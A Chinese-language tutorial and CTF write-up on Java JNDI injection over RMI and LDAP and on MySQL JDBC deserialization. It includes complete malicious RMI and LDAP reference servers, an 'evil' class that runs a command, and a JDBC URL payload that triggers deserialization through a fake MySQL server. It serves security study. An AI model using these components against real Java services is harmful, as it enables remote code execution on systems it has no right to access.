前置知识
InitialContext类
构造方法:
1 2 3 4 5 6
| InitialContext()
InitialContext(boolean lazy)
InitialContext(Hashtable<?,?> environment)
|
代码:
1
| InitialContext initialContext = new InitialContext();
|
构建初始上下文,也就是 获取初始目录环境
常用方法:
1 2 3 4 5 6 7 8 9 10
| bind(Name name, Object obj)
rebind(String name, Object obj)
unbind(String name)
list(String name)
lookup(String name)
|
Reference类
该类也是在 javax.naming 的一个类,该类表示对 在命名/目录系统外部找到的对象 的引用
提供了JNDI中类的引用功能
构造方法:
1 2 3 4 5 6 7 8
| Reference(String className)
Reference(String className, RefAddr addr)
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Reference(String className, String factory, String factoryLocation)
|
代码:
1 2
| String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);
|
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的 class 中需要实例化类的名称
参数3:classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 协议
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| void add(int posn, RefAddr addr)
void add(RefAddr addr)
void clear()
RefAddr get(int posn)
RefAddr get(String addrType)
Enumeration<RefAddr> getAll()
String getClassName()
String getFactoryClassLocation()
String getFactoryClassName() Object remove(int posn)
int size()
String toString()
|
JNDI注入
概念
JNDI(Java Naming and Directory Interface) 是一种标准的Java命名系统接口
JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互
若是一个程序定义了 JNDI 中的接口,就可以利用该API接口访问系统的命令服务和目录服务

(来源:https://xz.aliyun.com/news/11723)
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
- javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了
Context 接口和 InitialContext 类
- javax.naming.directory:主要用于目录操作,它定义了
DirContext 接口和 InitialDir-Context 类
- javax.naming.event:在命名目录服务器中请求事件通知
- javax.naming.ldap:提供LDAP支持
- javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击
示例
下面来看一个示例:
1 2 3 4 5 6 7 8 9 10 11 12
| package com.rmi.demo;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
从前置部分就可以知道,lookup()就是检索一个命名对象,如果URI可控,那就可以载入恶意的URI,实现JNDI注入
具体攻击流程就是:

(来源:https://xz.aliyun.com/news/11723)
所以我们下面就以LDAP和RMI来做一个攻击示例
RMI
(本地端)
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDItest { public static void main(String[] args) throws NamingException{ InitialContext context = new InitialContext(); context.lookup("rmi://127.0.0.1:1099/evil") } }
|
(服务端)
RMIserver:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry; import java.lang.ref.Reference; import java.rmi.RemoteException; import java.rmi.registry.Registry;
public class RMIserver{ public static void main(String[] args){ Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("evil","evil","http://127.0.0.1/"); registry.bind("evil", new ReferenceWrapper(reference)); } }
|
(攻击端)
evil.java:
1 2 3 4 5
| public class evil{ public evil(){ Runtime.getRuntime().exec("calc"); } }
|
PS: 从JDK8U121开始RMI远程对象的Reference代码默认不信任
LDAP
| 协议 |
作用 |
| LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
(本地端)
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDItest { public static void main(String[] args) throws NamingException{ InitialContext context = new InitialContext(); context.lookup("ldap://127.0.0.1:1099/evil") } }
|
(服务端)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package com.rmi.rmiclient;
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8080/#test"}; int port = 7777;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
(攻击端)
1 2 3 4 5 6 7
| import java.io.IOException;
public class evil { public evil() throws IOException{ Runtime.getRuntime().exec("calc"); } }
|
PS: 从JDK8U191开始LDAP远程引用代码默认不信任
总结
经过上面的分析,归纳总结为由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击
JDBC反序列化
概念
JDBC简介
JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作
JDBC Connection
JDBC定义了一个叫 java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xxx)其实就是间接的调用了 java.sql.Driver 类的 connect 方法实现数据库连接的。数据库连接成功后会返回一个叫做 java.sql.Connection 的数据库连接对象,一切对数据库的查询操作都将依赖于这个 Connection 对象
JDBC Unserialize
假设攻击者能够控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject()达到反序列化的目的从而RCE。
具体来说,通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被 ObjectInputStream.readObject() 进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
例题
GeekChallengeezjdbc | CTF+
其实并非需要反射,只需要看得懂英文就可以了,这道题目只需要看一个.class文件就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @RestController public class jdbcController { static String CLASS_NAME = "com.mysql.cj.jdbc.Driver";
public jdbcController() { }
@GetMapping({"/"}) public String index() { return "Hello Jdbc"; }
@GetMapping({"/connect"}) public String connect(@RequestParam("url") String url, @RequestParam("name") String name, @RequestParam("pass") String pass) throws SQLException { DriverManager.getConnection(url, name, pass); return url; } }
|
这里可以知道用了MySQL,再结合题目,很容易就想到是JDBC反序列化+FakeMySQL:
https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html
vulhub/java-chains: Java Vulnerability Exploitation Platform
快速上手 | Java Chains
1
| http://url/connect?url=jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&name=admin&pass=1111
|
结尾
参考:
【WEB】Java JDBC反序列化 | 狼组安全团队公开知识库
JNDI注入原理及利用考究-先知社区
Java安全之JNDI注入 - nice_0e3 - 博客园
Java漏洞在黑盒实战中的技巧——JNDI注入篇 - FreeBuf网络安全行业门户
X1r0z/JNDIMap: A powerful JNDI injection exploitation framework that supports RMI, LDAP and LDAPS protocols, including various bypass methods for high-version JDK restrictions